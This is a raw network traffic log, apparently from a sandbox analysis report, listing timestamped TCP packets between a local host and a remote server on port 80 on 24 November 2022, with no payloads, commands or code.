Nov 24, 2022 13:27:53.150798082 CET	49702	80	192.168.2.4	66.235.200.147
Nov 24, 2022 13:27:53.150806904 CET	80	49702	66.235.200.147	192.168.2.4
Nov 24, 2022 13:27:53.150825024 CET	80	49702	66.235.200.147	192.168.2.4
Nov 24, 2022 13:27:53.150839090 CET	49702	80	192.168.2.4	66.235.200.147
Nov 24, 2022 13:27:53.150845051 CET	80	49702	66.235.200.147	192.168.2.4
Nov 24, 2022 13:27:53.150862932 CET	80	49702	66.235.200.147	192.168.2.4
Nov 24, 2022 13:27:53.150868893 CET	49702	80	192.168.2.4	66.235.200.147
Nov 24, 2022 13:27:53.150897980 CET	80	49702	66.235.200.147	192.168.2.4
Nov 24, 2022 13:27:53.150913000 CET	49702	80	192.168.2.4	66.235.200.147
Nov 24, 2022 13:27:53.150917053 CET	80	49702	66.235.200.147	192.168.2.4
Nov 24, 2022 13:27:53.150935888 CET	80	49702	66.235.200.147	192.168.2.4
Nov 24, 2022 13:27:53.150954008 CET	80	49702	66.235.200.147	192.168.2.4
Nov 24, 2022 13:27:53.150968075 CET	49702	80	192.168.2.4	66.235.200.147
Nov 24, 2022 13:27:53.150973082 CET	80	49702	66.235.200.147	192.168.2.4
Nov 24, 2022 13:27:53.150991917 CET	80	49702	66.235.200.147	192.168.2.4
Nov 24, 2022 13:27:53.150998116 CET	49702	80	192.168.2.4	66.235.200.147
Nov 24, 2022 13:27:53.151010036 CET	80	49702	66.235.200.147	192.168.2.4
Nov 24, 2022 13:27:53.151021004 CET	49702	80	192.168.2.4	66.235.200.147
Nov 24, 2022 13:27:53.151029110 CET	80	49702	66.235.200.147	192.168.2.4
Nov 24, 2022 13:27:53.151048899 CET	80	49702	66.235.200.147	192.168.2.4
Nov 24, 2022 13:27:53.151067972 CET	80	49702	66.235.200.147	192.168.2.4
Nov 24, 2022 13:27:53.151071072 CET	49702	80	192.168.2.4	66.235.200.147
Nov 24, 2022 13:27:53.151086092 CET	80	49702	66.235.200.147	192.168.2.4
Nov 24, 2022 13:27:53.151092052 CET	49702	80	192.168.2.4	66.235.200.147
Nov 24, 2022 13:27:53.151106119 CET	80	49702	66.235.200.147	192.168.2.4
Nov 24, 2022 13:27:53.151125908 CET	80	49702	66.235.200.147	192.168.2.4
Nov 24, 2022 13:27:53.151145935 CET	80	49702	66.235.200.147	192.168.2.4
Nov 24, 2022 13:27:53.151151896 CET	49702	80	192.168.2.4	66.235.200.147
Nov 24, 2022 13:27:53.151165009 CET	80	49702	66.235.200.147	192.168.2.4
Nov 24, 2022 13:27:53.151173115 CET	49702	80	192.168.2.4	66.235.200.147
Nov 24, 2022 13:27:53.151190042 CET	80	49702	66.235.200.147	192.168.2.4
Nov 24, 2022 13:27:53.151209116 CET	80	49702	66.235.200.147	192.168.2.4
Nov 24, 2022 13:27:53.151223898 CET	49702	80	192.168.2.4	66.235.200.147
Nov 24, 2022 13:27:53.151227951 CET	80	49702	66.235.200.147	192.168.2.4
Nov 24, 2022 13:27:53.151247025 CET	80	49702	66.235.200.147	192.168.2.4
Nov 24, 2022 13:27:53.151262045 CET	49702	80	192.168.2.4	66.235.200.147
Nov 24, 2022 13:27:53.151266098 CET	80	49702	66.235.200.147	192.168.2.4
Nov 24, 2022 13:27:53.151284933 CET	80	49702	66.235.200.147	192.168.2.4
Nov 24, 2022 13:27:53.151294947 CET	49702	80	192.168.2.4	66.235.200.147
Nov 24, 2022 13:27:53.151333094 CET	49702	80	192.168.2.4	66.235.200.147
Nov 24, 2022 13:27:53.151361942 CET	80	49702	66.235.200.147	192.168.2.4
Nov 24, 2022 13:27:53.151379108 CET	80	49702	66.235.200.147	192.168.2.4
Nov 24, 2022 13:27:53.151396990 CET	80	49702	66.235.200.147	192.168.2.4
Nov 24, 2022 13:27:53.151416063 CET	80	49702	66.235.200.147	192.168.2.4
Nov 24, 2022 13:27:53.151427031 CET	49702	80	192.168.2.4	66.235.200.147
Nov 24, 2022 13:27:53.151436090 CET	80	49702	66.235.200.147	192.168.2.4
Nov 24, 2022 13:27:53.151453972 CET	80	49702	66.235.200.147	192.168.2.4
Nov 24, 2022 13:27:53.151468039 CET	49702	80	192.168.2.4	66.235.200.147
Nov 24, 2022 13:27:53.151473045 CET	80	49702	66.235.200.147	192.168.2.4
Nov 24, 2022 13:27:53.151492119 CET	80	49702	66.235.200.147	192.168.2.4
Nov 24, 2022 13:27:53.151509047 CET	80	49702	66.235.200.147	192.168.2.4
Nov 24, 2022 13:27:53.151518106 CET	49702	80	192.168.2.4	66.235.200.147
Nov 24, 2022 13:27:53.151529074 CET	80	49702	66.235.200.147	192.168.2.4
Nov 24, 2022 13:27:53.151537895 CET	49702	80	192.168.2.4	66.235.200.147
Nov 24, 2022 13:27:53.151552916 CET	80	49702	66.235.200.147	192.168.2.4
Nov 24, 2022 13:27:53.151572943 CET	80	49702	66.235.200.147	192.168.2.4
Nov 24, 2022 13:27:53.151578903 CET	49702	80	192.168.2.4	66.235.200.147
Nov 24, 2022 13:27:53.151592970 CET	80	49702	66.235.200.147	192.168.2.4
Nov 24, 2022 13:27:53.151627064 CET	49702	80	192.168.2.4	66.235.200.147
Nov 24, 2022 13:27:53.151654959 CET	80	49702	66.235.200.147	192.168.2.4
Nov 24, 2022 13:27:53.151674032 CET	80	49702	66.235.200.147	192.168.2.4
Nov 24, 2022 13:27:53.151691914 CET	80	49702	66.235.200.147	192.168.2.4
Nov 24, 2022 13:27:53.151705027 CET	49702	80	192.168.2.4	66.235.200.147
Nov 24, 2022 13:27:53.151710033 CET	80	49702	66.235.200.147	192.168.2.4
Nov 24, 2022 13:27:53.151729107 CET	80	49702	66.235.200.147	192.168.2.4
Nov 24, 2022 13:27:53.151741028 CET	49702	80	192.168.2.4	66.235.200.147
Nov 24, 2022 13:27:53.151746988 CET	80	49702	66.235.200.147	192.168.2.4
Nov 24, 2022 13:27:53.151767969 CET	80	49702	66.235.200.147	192.168.2.4
Nov 24, 2022 13:27:53.151787043 CET	80	49702	66.235.200.147	192.168.2.4
Nov 24, 2022 13:27:53.151793003 CET	49702	80	192.168.2.4	66.235.200.147
Nov 24, 2022 13:27:53.151806116 CET	80	49702	66.235.200.147	192.168.2.4
Nov 24, 2022 13:27:53.151818037 CET	49702	80	192.168.2.4	66.235.200.147
Nov 24, 2022 13:27:53.151825905 CET	80	49702	66.235.200.147	192.168.2.4
Nov 24, 2022 13:27:53.151844978 CET	80	49702	66.235.200.147	192.168.2.4
Nov 24, 2022 13:27:53.151863098 CET	49702	80	192.168.2.4	66.235.200.147
Nov 24, 2022 13:27:53.151865005 CET	80	49702	66.235.200.147	192.168.2.4
Nov 24, 2022 13:27:53.151885986 CET	80	49702	66.235.200.147	192.168.2.4
Nov 24, 2022 13:27:53.151905060 CET	80	49702	66.235.200.147	192.168.2.4
Nov 24, 2022 13:27:53.151915073 CET	49702	80	192.168.2.4	66.235.200.147
Nov 24, 2022 13:27:53.151923895 CET	80	49702	66.235.200.147	192.168.2.4
Nov 24, 2022 13:27:53.151936054 CET	49702	80	192.168.2.4	66.235.200.147
Nov 24, 2022 13:27:53.151945114 CET	80	49702	66.235.200.147	192.168.2.4
Nov 24, 2022 13:27:53.151962996 CET	80	49702	66.235.200.147	192.168.2.4
Nov 24, 2022 13:27:53.151978970 CET	49702	80	192.168.2.4	66.235.200.147
Nov 24, 2022 13:27:53.151983976 CET	80	49702	66.235.200.147	192.168.2.4
Nov 24, 2022 13:27:53.152003050 CET	80	49702	66.235.200.147	192.168.2.4
Nov 24, 2022 13:27:53.152004004 CET	49702	80	192.168.2.4	66.235.200.147
Nov 24, 2022 13:27:53.152020931 CET	80	49702	66.235.200.147	192.168.2.4
Nov 24, 2022 13:27:53.152045965 CET	80	49702	66.235.200.147	192.168.2.4
Nov 24, 2022 13:27:53.152065992 CET	80	49702	66.235.200.147	192.168.2.4
Nov 24, 2022 13:27:53.152070045 CET	49702	80	192.168.2.4	66.235.200.147
Nov 24, 2022 13:27:53.152084112 CET	80	49702	66.235.200.147	192.168.2.4
Nov 24, 2022 13:27:53.152090073 CET	49702	80	192.168.2.4	66.235.200.147
Nov 24, 2022 13:27:53.152107000 CET	80	49702	66.235.200.147	192.168.2.4
Nov 24, 2022 13:27:53.152126074 CET	80	49702	66.235.200.147	192.168.2.4
Nov 24, 2022 13:27:53.152127028 CET	49702	80	192.168.2.4	66.235.200.147
Nov 24, 2022 13:27:53.152147055 CET	80	49702	66.235.200.147	192.168.2.4
Nov 24, 2022 13:27:53.152147055 CET	49702	80	192.168.2.4	66.235.200.147
Nov 24, 2022 13:27:53.152164936 CET	80	49702	66.235.200.147	192.168.2.4
Nov 24, 2022 13:27:53.152169943 CET	49702	80	192.168.2.4	66.235.200.147
Nov 24, 2022 13:27:53.152184010 CET	80	49702	66.235.200.147	192.168.2.4
Nov 24, 2022 13:27:53.152200937 CET	80	49702	66.235.200.147	192.168.2.4
Nov 24, 2022 13:27:53.152219057 CET	80	49702	66.235.200.147	192.168.2.4
Nov 24, 2022 13:27:53.152230024 CET	49702	80	192.168.2.4	66.235.200.147
Nov 24, 2022 13:27:53.152241945 CET	80	49702	66.235.200.147	192.168.2.4
Nov 24, 2022 13:27:53.152256012 CET	49702	80	192.168.2.4	66.235.200.147
Nov 24, 2022 13:27:53.152261972 CET	80	49702	66.235.200.147	192.168.2.4
Nov 24, 2022 13:27:53.152291059 CET	80	49702	66.235.200.147	192.168.2.4
Nov 24, 2022 13:27:53.152295113 CET	49702	80	192.168.2.4	66.235.200.147
Nov 24, 2022 13:27:53.152308941 CET	80	49702	66.235.200.147	192.168.2.4
Nov 24, 2022 13:27:53.152327061 CET	80	49702	66.235.200.147	192.168.2.4
Nov 24, 2022 13:27:53.152344942 CET	80	49702	66.235.200.147	192.168.2.4
Nov 24, 2022 13:27:53.152357101 CET	49702	80	192.168.2.4	66.235.200.147
Nov 24, 2022 13:27:53.152357101 CET	49702	80	192.168.2.4	66.235.200.147
Nov 24, 2022 13:27:53.152365923 CET	80	49702	66.235.200.147	192.168.2.4
Nov 24, 2022 13:27:53.152385950 CET	80	49702	66.235.200.147	192.168.2.4
Nov 24, 2022 13:27:53.152386904 CET	49702	80	192.168.2.4	66.235.200.147
Nov 24, 2022 13:27:53.152405024 CET	80	49702	66.235.200.147	192.168.2.4
Nov 24, 2022 13:27:53.152440071 CET	49702	80	192.168.2.4	66.235.200.147
Nov 24, 2022 13:27:53.152461052 CET	49702	80	192.168.2.4	66.235.200.147
Nov 24, 2022 13:27:53.152462006 CET	80	49702	66.235.200.147	192.168.2.4
Nov 24, 2022 13:27:53.152481079 CET	80	49702	66.235.200.147	192.168.2.4
Nov 24, 2022 13:27:53.152498960 CET	80	49702	66.235.200.147	192.168.2.4
Nov 24, 2022 13:27:53.152517080 CET	80	49702	66.235.200.147	192.168.2.4
Nov 24, 2022 13:27:53.152534962 CET	80	49702	66.235.200.147	192.168.2.4
Nov 24, 2022 13:27:53.152545929 CET	49702	80	192.168.2.4	66.235.200.147
Nov 24, 2022 13:27:53.152554035 CET	80	49702	66.235.200.147	192.168.2.4
Nov 24, 2022 13:27:53.152563095 CET	49702	80	192.168.2.4	66.235.200.147
Nov 24, 2022 13:27:53.152573109 CET	80	49702	66.235.200.147	192.168.2.4
Nov 24, 2022 13:27:53.152590990 CET	80	49702	66.235.200.147	192.168.2.4
Nov 24, 2022 13:27:53.152610064 CET	80	49702	66.235.200.147	192.168.2.4
Nov 24, 2022 13:27:53.152621984 CET	49702	80	192.168.2.4	66.235.200.147
Nov 24, 2022 13:27:53.152628899 CET	80	49702	66.235.200.147	192.168.2.4
Nov 24, 2022 13:27:53.152642965 CET	49702	80	192.168.2.4	66.235.200.147
Nov 24, 2022 13:27:53.152648926 CET	80	49702	66.235.200.147	192.168.2.4
Nov 24, 2022 13:27:53.152678967 CET	49702	80	192.168.2.4	66.235.200.147
Nov 24, 2022 13:27:53.152708054 CET	80	49702	66.235.200.147	192.168.2.4
Nov 24, 2022 13:27:53.152724981 CET	80	49702	66.235.200.147	192.168.2.4
Nov 24, 2022 13:27:53.152743101 CET	80	49702	66.235.200.147	192.168.2.4
Nov 24, 2022 13:27:53.152753115 CET	49702	80	192.168.2.4	66.235.200.147
Nov 24, 2022 13:27:53.152762890 CET	80	49702	66.235.200.147	192.168.2.4
Nov 24, 2022 13:27:53.152781010 CET	80	49702	66.235.200.147	192.168.2.4
Nov 24, 2022 13:27:53.152801037 CET	80	49702	66.235.200.147	192.168.2.4
Nov 24, 2022 13:27:53.152810097 CET	49702	80	192.168.2.4	66.235.200.147
Nov 24, 2022 13:27:53.152822018 CET	80	49702	66.235.200.147	192.168.2.4
Nov 24, 2022 13:27:53.152827978 CET	49702	80	192.168.2.4	66.235.200.147
Nov 24, 2022 13:27:53.152842045 CET	80	49702	66.235.200.147	192.168.2.4
Nov 24, 2022 13:27:53.152859926 CET	80	49702	66.235.200.147	192.168.2.4
Nov 24, 2022 13:27:53.152879000 CET	80	49702	66.235.200.147	192.168.2.4
Nov 24, 2022 13:27:53.152879953 CET	49702	80	192.168.2.4	66.235.200.147
Nov 24, 2022 13:27:53.152896881 CET	80	49702	66.235.200.147	192.168.2.4
Nov 24, 2022 13:27:53.152904987 CET	49702	80	192.168.2.4	66.235.200.147
Nov 24, 2022 13:27:53.152916908 CET	80	49702	66.235.200.147	192.168.2.4
Nov 24, 2022 13:27:53.152935028 CET	80	49702	66.235.200.147	192.168.2.4
Nov 24, 2022 13:27:53.152941942 CET	49702	80	192.168.2.4	66.235.200.147
Nov 24, 2022 13:27:53.152954102 CET	80	49702	66.235.200.147	192.168.2.4
Nov 24, 2022 13:27:53.152972937 CET	80	49702	66.235.200.147	192.168.2.4
Nov 24, 2022 13:27:53.152992010 CET	80	49702	66.235.200.147	192.168.2.4
Nov 24, 2022 13:27:53.153001070 CET	49702	80	192.168.2.4	66.235.200.147
Nov 24, 2022 13:27:53.153011084 CET	80	49702	66.235.200.147	192.168.2.4
Nov 24, 2022 13:27:53.153026104 CET	49702	80	192.168.2.4	66.235.200.147
Nov 24, 2022 13:27:53.153028965 CET	80	49702	66.235.200.147	192.168.2.4
Nov 24, 2022 13:27:53.153048038 CET	80	49702	66.235.200.147	192.168.2.4
Nov 24, 2022 13:27:53.153064966 CET	49702	80	192.168.2.4	66.235.200.147
Nov 24, 2022 13:27:53.153065920 CET	80	49702	66.235.200.147	192.168.2.4
Nov 24, 2022 13:27:53.153085947 CET	80	49702	66.235.200.147	192.168.2.4
Nov 24, 2022 13:27:53.153101921 CET	49702	80	192.168.2.4	66.235.200.147
Nov 24, 2022 13:27:53.153103113 CET	80	49702	66.235.200.147	192.168.2.4
Nov 24, 2022 13:27:53.153122902 CET	49702	80	192.168.2.4	66.235.200.147
Nov 24, 2022 13:27:53.153124094 CET	80	49702	66.235.200.147	192.168.2.4
Nov 24, 2022 13:27:53.153140068 CET	49702	80	192.168.2.4	66.235.200.147
Nov 24, 2022 13:27:53.153141975 CET	80	49702	66.235.200.147	192.168.2.4
Nov 24, 2022 13:27:53.153161049 CET	80	49702	66.235.200.147	192.168.2.4
Nov 24, 2022 13:27:53.153175116 CET	49702	80	192.168.2.4	66.235.200.147
Nov 24, 2022 13:27:53.153178930 CET	80	49702	66.235.200.147	192.168.2.4
Nov 24, 2022 13:27:53.153198004 CET	80	49702	66.235.200.147	192.168.2.4
Nov 24, 2022 13:27:53.153217077 CET	80	49702	66.235.200.147	192.168.2.4
Nov 24, 2022 13:27:53.153218985 CET	49702	80	192.168.2.4	66.235.200.147
Nov 24, 2022 13:27:53.153234959 CET	80	49702	66.235.200.147	192.168.2.4
Nov 24, 2022 13:27:53.153244972 CET	49702	80	192.168.2.4	66.235.200.147
Nov 24, 2022 13:27:53.153254032 CET	80	49702	66.235.200.147	192.168.2.4
Nov 24, 2022 13:27:53.153274059 CET	80	49702	66.235.200.147	192.168.2.4
Nov 24, 2022 13:27:53.153291941 CET	80	49702	66.235.200.147	192.168.2.4
Nov 24, 2022 13:27:53.153311968 CET	80	49702	66.235.200.147	192.168.2.4
Nov 24, 2022 13:27:53.153330088 CET	80	49702	66.235.200.147	192.168.2.4
Nov 24, 2022 13:27:53.153336048 CET	49702	80	192.168.2.4	66.235.200.147
Nov 24, 2022 13:27:53.153336048 CET	49702	80	192.168.2.4	66.235.200.147
Nov 24, 2022 13:27:53.153347969 CET	80	49702	66.235.200.147	192.168.2.4
Nov 24, 2022 13:27:53.153359890 CET	49702	80	192.168.2.4	66.235.200.147
Nov 24, 2022 13:27:53.153367043 CET	80	49702	66.235.200.147	192.168.2.4
Nov 24, 2022 13:27:53.153384924 CET	80	49702	66.235.200.147	192.168.2.4
Nov 24, 2022 13:27:53.153393984 CET	49702	80	192.168.2.4	66.235.200.147
Nov 24, 2022 13:27:53.153404951 CET	80	49702	66.235.200.147	192.168.2.4
Nov 24, 2022 13:27:53.153424025 CET	80	49702	66.235.200.147	192.168.2.4
Nov 24, 2022 13:27:53.153440952 CET	80	49702	66.235.200.147	192.168.2.4
Nov 24, 2022 13:27:53.153456926 CET	49702	80	192.168.2.4	66.235.200.147
Nov 24, 2022 13:27:53.153459072 CET	80	49702	66.235.200.147	192.168.2.4
Nov 24, 2022 13:27:53.153476954 CET	80	49702	66.235.200.147	192.168.2.4
Nov 24, 2022 13:27:53.153477907 CET	49702	80	192.168.2.4	66.235.200.147
Nov 24, 2022 13:27:53.153493881 CET	80	49702	66.235.200.147	192.168.2.4
Nov 24, 2022 13:27:53.153512955 CET	80	49702	66.235.200.147	192.168.2.4
Nov 24, 2022 13:27:53.153517008 CET	49702	80	192.168.2.4	66.235.200.147
Nov 24, 2022 13:27:53.153559923 CET	49702	80	192.168.2.4	66.235.200.147
Nov 24, 2022 13:27:53.153588057 CET	49702	80	192.168.2.4	66.235.200.147
Nov 24, 2022 13:27:53.153867960 CET	49702	80	192.168.2.4	66.235.200.147
Nov 24, 2022 13:27:53.155881882 CET	80	49702	66.235.200.147	192.168.2.4
Nov 24, 2022 13:27:53.155901909 CET	80	49702	66.235.200.147	192.168.2.4
Nov 24, 2022 13:27:53.155920029 CET	80	49702	66.235.200.147	192.168.2.4
Nov 24, 2022 13:27:53.155939102 CET	80	49702	66.235.200.147	192.168.2.4
Nov 24, 2022 13:27:53.155956984 CET	80	49702	66.235.200.147	192.168.2.4
Nov 24, 2022 13:27:53.155975103 CET	80	49702	66.235.200.147	192.168.2.4
Nov 24, 2022 13:27:53.155982018 CET	49702	80	192.168.2.4	66.235.200.147
Nov 24, 2022 13:27:53.156009912 CET	49702	80	192.168.2.4	66.235.200.147
Nov 24, 2022 13:27:53.156922102 CET	80	49702	66.235.200.147	192.168.2.4
Nov 24, 2022 13:27:53.156943083 CET	80	49702	66.235.200.147	192.168.2.4
Nov 24, 2022 13:27:53.156964064 CET	80	49702	66.235.200.147	192.168.2.4
Nov 24, 2022 13:27:53.156982899 CET	80	49702	66.235.200.147	192.168.2.4
Nov 24, 2022 13:27:53.156999111 CET	49702	80	192.168.2.4	66.235.200.147
Nov 24, 2022 13:27:53.157001019 CET	80	49702	66.235.200.147	192.168.2.4
Nov 24, 2022 13:27:53.157021046 CET	80	49702	66.235.200.147	192.168.2.4
Nov 24, 2022 13:27:53.157032013 CET	49702	80	192.168.2.4	66.235.200.147
Nov 24, 2022 13:27:53.157041073 CET	80	49702	66.235.200.147	192.168.2.4
Nov 24, 2022 13:27:53.157052040 CET	49702	80	192.168.2.4	66.235.200.147
Nov 24, 2022 13:27:53.157059908 CET	80	49702	66.235.200.147	192.168.2.4
Nov 24, 2022 13:27:53.157078028 CET	80	49702	66.235.200.147	192.168.2.4
Nov 24, 2022 13:27:53.157085896 CET	49702	80	192.168.2.4	66.235.200.147
Nov 24, 2022 13:27:53.157095909 CET	80	49702	66.235.200.147	192.168.2.4
Nov 24, 2022 13:27:53.157114983 CET	80	49702	66.235.200.147	192.168.2.4
Nov 24, 2022 13:27:53.157121897 CET	49702	80	192.168.2.4	66.235.200.147
Nov 24, 2022 13:27:53.157139063 CET	80	49702	66.235.200.147	192.168.2.4
Nov 24, 2022 13:27:53.157156944 CET	80	49702	66.235.200.147	192.168.2.4
Nov 24, 2022 13:27:53.157175064 CET	80	49702	66.235.200.147	192.168.2.4
Nov 24, 2022 13:27:53.157177925 CET	49702	80	192.168.2.4	66.235.200.147
Nov 24, 2022 13:27:53.157193899 CET	80	49702	66.235.200.147	192.168.2.4
Nov 24, 2022 13:27:53.157212019 CET	49702	80	192.168.2.4	66.235.200.147
Nov 24, 2022 13:27:53.157212973 CET	80	49702	66.235.200.147	192.168.2.4
Nov 24, 2022 13:27:53.157232046 CET	80	49702	66.235.200.147	192.168.2.4
Nov 24, 2022 13:27:53.157239914 CET	49702	80	192.168.2.4	66.235.200.147
Nov 24, 2022 13:27:53.157250881 CET	80	49702	66.235.200.147	192.168.2.4
Nov 24, 2022 13:27:53.157268047 CET	80	49702	66.235.200.147	192.168.2.4
Nov 24, 2022 13:27:53.157284021 CET	49702	80	192.168.2.4	66.235.200.147
Nov 24, 2022 13:27:53.157286882 CET	80	49702	66.235.200.147	192.168.2.4
Nov 24, 2022 13:27:53.157305002 CET	80	49702	66.235.200.147	192.168.2.4
Nov 24, 2022 13:27:53.157322884 CET	80	49702	66.235.200.147	192.168.2.4
Nov 24, 2022 13:27:53.157327890 CET	49702	80	192.168.2.4	66.235.200.147
Nov 24, 2022 13:27:53.157341957 CET	80	49702	66.235.200.147	192.168.2.4
Nov 24, 2022 13:27:53.157352924 CET	49702	80	192.168.2.4	66.235.200.147
Nov 24, 2022 13:27:53.157382011 CET	49702	80	192.168.2.4	66.235.200.147
Nov 24, 2022 13:27:53.157865047 CET	80	49702	66.235.200.147	192.168.2.4
Nov 24, 2022 13:27:53.157885075 CET	80	49702	66.235.200.147	192.168.2.4
Nov 24, 2022 13:27:53.157912970 CET	80	49702	66.235.200.147	192.168.2.4
Nov 24, 2022 13:27:53.157932043 CET	80	49702	66.235.200.147	192.168.2.4
Nov 24, 2022 13:27:53.157949924 CET	80	49702	66.235.200.147	192.168.2.4
Nov 24, 2022 13:27:53.157968998 CET	80	49702	66.235.200.147	192.168.2.4
Nov 24, 2022 13:27:53.157968998 CET	49702	80	192.168.2.4	66.235.200.147
Nov 24, 2022 13:27:53.157988071 CET	49702	80	192.168.2.4	66.235.200.147
Nov 24, 2022 13:27:53.157989025 CET	80	49702	66.235.200.147	192.168.2.4
Nov 24, 2022 13:27:53.158006907 CET	80	49702	66.235.200.147	192.168.2.4
Nov 24, 2022 13:27:53.158016920 CET	49702	80	192.168.2.4	66.235.200.147
Nov 24, 2022 13:27:53.158026934 CET	80	49702	66.235.200.147	192.168.2.4
Nov 24, 2022 13:27:53.158045053 CET	80	49702	66.235.200.147	192.168.2.4
Nov 24, 2022 13:27:53.158051014 CET	49702	80	192.168.2.4	66.235.200.147
Nov 24, 2022 13:27:53.158066034 CET	80	49702	66.235.200.147	192.168.2.4
Nov 24, 2022 13:27:53.158083916 CET	80	49702	66.235.200.147	192.168.2.4
Nov 24, 2022 13:27:53.158085108 CET	49702	80	192.168.2.4	66.235.200.147
Nov 24, 2022 13:27:53.158102989 CET	80	49702	66.235.200.147	192.168.2.4
Nov 24, 2022 13:27:53.158121109 CET	80	49702	66.235.200.147	192.168.2.4
Nov 24, 2022 13:27:53.158138037 CET	80	49702	66.235.200.147	192.168.2.4
Nov 24, 2022 13:27:53.158144951 CET	49702	80	192.168.2.4	66.235.200.147
Nov 24, 2022 13:27:53.158157110 CET	80	49702	66.235.200.147	192.168.2.4
Nov 24, 2022 13:27:53.158169985 CET	49702	80	192.168.2.4	66.235.200.147
Nov 24, 2022 13:27:53.158174992 CET	80	49702	66.235.200.147	192.168.2.4
Nov 24, 2022 13:27:53.158193111 CET	80	49702	66.235.200.147	192.168.2.4
Nov 24, 2022 13:27:53.158204079 CET	49702	80	192.168.2.4	66.235.200.147
Nov 24, 2022 13:27:53.158210993 CET	80	49702	66.235.200.147	192.168.2.4
Nov 24, 2022 13:27:53.158231020 CET	80	49702	66.235.200.147	192.168.2.4
Nov 24, 2022 13:27:53.158232927 CET	49702	80	192.168.2.4	66.235.200.147
Nov 24, 2022 13:27:53.158247948 CET	80	49702	66.235.200.147	192.168.2.4
Nov 24, 2022 13:27:53.158266068 CET	80	49702	66.235.200.147	192.168.2.4
Nov 24, 2022 13:27:53.158266068 CET	49702	80	192.168.2.4	66.235.200.147
Nov 24, 2022 13:27:53.158283949 CET	80	49702	66.235.200.147	192.168.2.4
Nov 24, 2022 13:27:53.158303022 CET	80	49702	66.235.200.147	192.168.2.4
Nov 24, 2022 13:27:53.158313990 CET	49702	80	192.168.2.4	66.235.200.147
Nov 24, 2022 13:27:53.158320904 CET	80	49702	66.235.200.147	192.168.2.4
Nov 24, 2022 13:27:53.158339024 CET	80	49702	66.235.200.147	192.168.2.4
Nov 24, 2022 13:27:53.158358097 CET	80	49702	66.235.200.147	192.168.2.4
Nov 24, 2022 13:27:53.158363104 CET	49702	80	192.168.2.4	66.235.200.147
Nov 24, 2022 13:27:53.158390999 CET	49702	80	192.168.2.4	66.235.200.147
Nov 24, 2022 13:27:53.158551931 CET	80	49702	66.235.200.147	192.168.2.4
Nov 24, 2022 13:27:53.158600092 CET	49702	80	192.168.2.4	66.235.200.147
Nov 24, 2022 13:27:53.158601046 CET	80	49702	66.235.200.147	192.168.2.4
Nov 24, 2022 13:27:53.158643007 CET	80	49702	66.235.200.147	192.168.2.4
Nov 24, 2022 13:27:53.158662081 CET	80	49702	66.235.200.147	192.168.2.4
Nov 24, 2022 13:27:53.158680916 CET	80	49702	66.235.200.147	192.168.2.4
Nov 24, 2022 13:27:53.158699036 CET	80	49702	66.235.200.147	192.168.2.4
Nov 24, 2022 13:27:53.158704042 CET	49702	80	192.168.2.4	66.235.200.147
Nov 24, 2022 13:27:53.158718109 CET	80	49702	66.235.200.147	192.168.2.4
Nov 24, 2022 13:27:53.158731937 CET	49702	80	192.168.2.4	66.235.200.147
Nov 24, 2022 13:27:53.158736944 CET	80	49702	66.235.200.147	192.168.2.4
Nov 24, 2022 13:27:53.158755064 CET	80	49702	66.235.200.147	192.168.2.4
Nov 24, 2022 13:27:53.158759117 CET	49702	80	192.168.2.4	66.235.200.147
Nov 24, 2022 13:27:53.158772945 CET	80	49702	66.235.200.147	192.168.2.4
Nov 24, 2022 13:27:53.158792019 CET	80	49702	66.235.200.147	192.168.2.4
Nov 24, 2022 13:27:53.158802032 CET	49702	80	192.168.2.4	66.235.200.147
Nov 24, 2022 13:27:53.158811092 CET	80	49702	66.235.200.147	192.168.2.4
Nov 24, 2022 13:27:53.158828974 CET	80	49702	66.235.200.147	192.168.2.4
Nov 24, 2022 13:27:53.158847094 CET	80	49702	66.235.200.147	192.168.2.4
Nov 24, 2022 13:27:53.158852100 CET	49702	80	192.168.2.4	66.235.200.147
Nov 24, 2022 13:27:53.158864975 CET	80	49702	66.235.200.147	192.168.2.4
Nov 24, 2022 13:27:53.158879995 CET	49702	80	192.168.2.4	66.235.200.147
Nov 24, 2022 13:27:53.158895016 CET	80	49702	66.235.200.147	192.168.2.4
Nov 24, 2022 13:27:53.158910990 CET	49702	80	192.168.2.4	66.235.200.147
Nov 24, 2022 13:27:53.158911943 CET	80	49702	66.235.200.147	192.168.2.4
Nov 24, 2022 13:27:53.158930063 CET	80	49702	66.235.200.147	192.168.2.4
Nov 24, 2022 13:27:53.158947945 CET	80	49702	66.235.200.147	192.168.2.4
Nov 24, 2022 13:27:53.158965111 CET	80	49702	66.235.200.147	192.168.2.4
Nov 24, 2022 13:27:53.158971071 CET	49702	80	192.168.2.4	66.235.200.147
Nov 24, 2022 13:27:53.158982992 CET	80	49702	66.235.200.147	192.168.2.4
Nov 24, 2022 13:27:53.158993959 CET	49702	80	192.168.2.4	66.235.200.147
Nov 24, 2022 13:27:53.159020901 CET	49702	80	192.168.2.4	66.235.200.147
Nov 24, 2022 13:27:53.159034967 CET	80	49702	66.235.200.147	192.168.2.4
Nov 24, 2022 13:27:53.159054041 CET	80	49702	66.235.200.147	192.168.2.4
Nov 24, 2022 13:27:53.159073114 CET	80	49702	66.235.200.147	192.168.2.4
Nov 24, 2022 13:27:53.159090996 CET	80	49702	66.235.200.147	192.168.2.4
Nov 24, 2022 13:27:53.159096956 CET	49702	80	192.168.2.4	66.235.200.147
Nov 24, 2022 13:27:53.159111977 CET	80	49702	66.235.200.147	192.168.2.4
Nov 24, 2022 13:27:53.159131050 CET	80	49702	66.235.200.147	192.168.2.4
Nov 24, 2022 13:27:53.159132004 CET	49702	80	192.168.2.4	66.235.200.147
Nov 24, 2022 13:27:53.159148932 CET	80	49702	66.235.200.147	192.168.2.4
Nov 24, 2022 13:27:53.159168005 CET	80	49702	66.235.200.147	192.168.2.4
Nov 24, 2022 13:27:53.159187078 CET	80	49702	66.235.200.147	192.168.2.4
Nov 24, 2022 13:27:53.159192085 CET	49702	80	192.168.2.4	66.235.200.147
Nov 24, 2022 13:27:53.159204006 CET	80	49702	66.235.200.147	192.168.2.4
Nov 24, 2022 13:27:53.159213066 CET	49702	80	192.168.2.4	66.235.200.147
Nov 24, 2022 13:27:53.159224033 CET	80	49702	66.235.200.147	192.168.2.4
Nov 24, 2022 13:27:53.159241915 CET	80	49702	66.235.200.147	192.168.2.4
Nov 24, 2022 13:27:53.159248114 CET	49702	80	192.168.2.4	66.235.200.147
Nov 24, 2022 13:27:53.159266949 CET	80	49702	66.235.200.147	192.168.2.4
Nov 24, 2022 13:27:53.159280062 CET	49702	80	192.168.2.4	66.235.200.147
Nov 24, 2022 13:27:53.159285069 CET	80	49702	66.235.200.147	192.168.2.4
